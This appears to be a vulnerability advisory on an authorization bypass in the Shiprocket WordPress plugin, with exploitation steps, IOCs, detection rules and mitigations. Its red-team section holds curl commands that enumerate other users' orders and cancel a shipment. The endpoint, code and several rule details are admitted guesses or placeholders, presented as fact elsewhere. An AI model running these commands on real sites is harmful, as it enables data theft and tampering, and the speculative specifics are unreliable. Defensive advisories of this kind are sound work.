CVE-2025-68051

Executive Summary

CVE-2025-68051 is a critical Authorization Bypass Through User-Controlled Key vulnerability (CWE-639) affecting the Shiprocket plugin for WordPress, versions up to and including 2.0.8. This vulnerability allows an unauthenticated attacker to manipulate user-controlled keys (e.g., order IDs, shipment IDs) to access or modify resources belonging to other users, effectively bypassing access control checks. The CVSS v3.1 base score is 7.5 (High), driven by network exploitability, low attack complexity, and high impact on confidentiality and integrity. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for WordPress sites using the plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The Shiprocket plugin is distributed via the official WordPress plugin repository and is used by e-commerce sites to manage shipping logistics. The lack of a patch and the nature of the flaw (authorization bypass) means that any site running version 2.0.8 or earlier is at risk. Attackers can exploit this to read sensitive order data, modify shipment statuses, or potentially pivot to other parts of the WordPress installation. Since the plugin handles API keys and shipping credentials, a compromise could lead to further supply chain attacks against the merchant's logistics partners.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Complete disclosure of all resources.
• Integrity (I): High (H) – Possible modification of any data.
• Availability (A): None (N) – No impact on availability.

Threat Level: High. The combination of no authentication, low complexity, and high impact makes this a prime target for automated scanning and exploitation. The EPSS score of 0.0% reflects the recent disclosure and lack of public PoC, but this will change rapidly.

Deep Dive & Mechanics

The vulnerability lies in how the Shiprocket plugin handles user-controlled keys, likely in REST API endpoints or AJAX actions. The plugin fails to validate that the user-supplied identifier (e.g., order_id, shipment_id, tracking_id) belongs to the authenticated user's session or scope. Instead, it directly uses the key to query the database or external API.

Attack Flow:

1. An attacker identifies a vulnerable endpoint, such as /wp-json/shiprocket/v1/order/{order_id}.
2. The attacker sends a request with a manipulated order_id that belongs to another user.
3. The plugin processes the request without verifying ownership, returning the target user's order data.
4. The attacker can then iterate through IDs to harvest all orders, or modify shipment statuses by sending POST requests with altered keys.

The root cause is the absence of a server-side authorization check. The plugin likely uses a pattern like get_order_by_id($order_id) without first calling current_user_can() or comparing the order's user_id against get_current_user_id().

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common CWE-639 patterns.

Vulnerable Code (PHP):

function shiprocket_get_order_details($order_id) {
    global $wpdb;
    $order = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}shiprocket_orders WHERE id = %d", $order_id));
    return $order;
}

Patched Code (Hypothetical):

function shiprocket_get_order_details($order_id) {
    if (!is_user_logged_in()) {
        wp_die('Unauthorized', 401);
    }
    global $wpdb;
    $current_user_id = get_current_user_id();
    $order = $wpdb->get_row($wpdb->prepare(
        "SELECT * FROM {$wpdb->prefix}shiprocket_orders WHERE id = %d AND user_id = %d",
        $order_id,
        $current_user_id
    ));
    if (!$order) {
        wp_die('Order not found or access denied', 403);
    }
    return $order;
}

The patched version adds authentication checks and scopes the query to the current user's ID.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Shiprocket plugin version <= 2.0.8.
• Knowledge of a valid order ID (can be brute-forced if sequential).

Exploitation Steps:

1. Enumerate order IDs by sending GET requests to the vulnerable endpoint:

   for i in $(seq 1 1000); do
       curl -s "https://target.com/wp-json/shiprocket/v1/order/$i" | jq '.'
   done
   

2. For each response, check if it returns order data (non-empty JSON). If yes, the order belongs to another user.
3. To modify a shipment, send a POST request with the target order ID and malicious payload:

   curl -X POST "https://target.com/wp-json/shiprocket/v1/order/42" \
        -H "Content-Type: application/json" \
        -d '{"status": "cancelled", "tracking_id": "EVIL123"}'
   

Lab Setup:

• Use Docker to spin up a vulnerable WordPress instance:

  docker run -d --name wp-vuln -p 8080:80 wordpress:latest
  

• Install Shiprocket plugin version 2.0.8 manually.
• Create test users and orders via the WordPress admin.

Blue Team (Detection & Response)

Detection:

• Monitor for sequential or rapid requests to /wp-json/shiprocket/v1/order/ or similar endpoints.
• Alert on requests where the order_id parameter does not match the authenticated user's session.
• Look for unusual patterns in order modification logs (e.g., status changes without corresponding user actions).

Response:

1. Immediately disable the Shiprocket plugin if exploitation is suspected.
2. Review access logs for the vulnerable endpoint.
3. Rotate any API keys or tokens stored in the plugin.
4. Apply a virtual patch using a WAF rule (see Detection Engineering).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated GET/POST requests to /wp-json/shiprocket/v1/order/{integer}.
  • Requests with sequential or brute-forced order IDs.
  • Unusual tracking_id values in POST requests (e.g., "EVIL123", "test").
• File IOCs:
  • Modified entries in the wp_shiprocket_orders table where user_id does not match the expected user.
  • New files in /wp-content/uploads/shiprocket/ with suspicious names.
• Log IOCs:
  • WordPress debug log entries showing shiprocket_get_order_details called with out-of-range IDs.
  • Apache/Nginx access logs with 200 responses to the vulnerable endpoint from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2025_68051_Shiprocket_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2025-68051 in Shiprocket plugin"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "/wp-json/shiprocket/v1/order/" ascii wide nocase
        $s2 = "tracking_id" ascii wide nocase
        $s3 = "status" ascii wide nocase
    condition:
        any of ($s1) and any of ($s2, $s3)
}

Sigma Rule

title: CVE-2025-68051 Shiprocket Authorization Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts against Shiprocket plugin authorization bypass
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/wp-json/shiprocket/v1/order/'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68051 Shiprocket Authorization Bypass Attempt"; flow:to_server; content:"/wp-json/shiprocket/v1/order/"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. This is the only guaranteed mitigation.
2. Implement a virtual patch using a Web Application Firewall (WAF) to block requests to /wp-json/shiprocket/v1/order/ from unauthenticated users.
3. Restrict access to the vulnerable endpoint via .htaccess:

   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteCond %{REQUEST_URI} ^/wp-json/shiprocket/v1/order/
       RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_ [NC]
       RewriteRule .* - [F,L]
   </IfModule>
   

Long-Term Fix:

• The vendor must release a patched version that implements proper authorization checks (e.g., verifying current_user_can() or scoping queries to the user's ID).
• Until then, consider migrating to an alternative shipping plugin.

Valters IT Signature:

Valters IT Cyber Threat Intelligence
CVE-2025-68051 | Shiprocket Authorization Bypass
Report generated: 2025-04-10
Classification: TLP:AMBER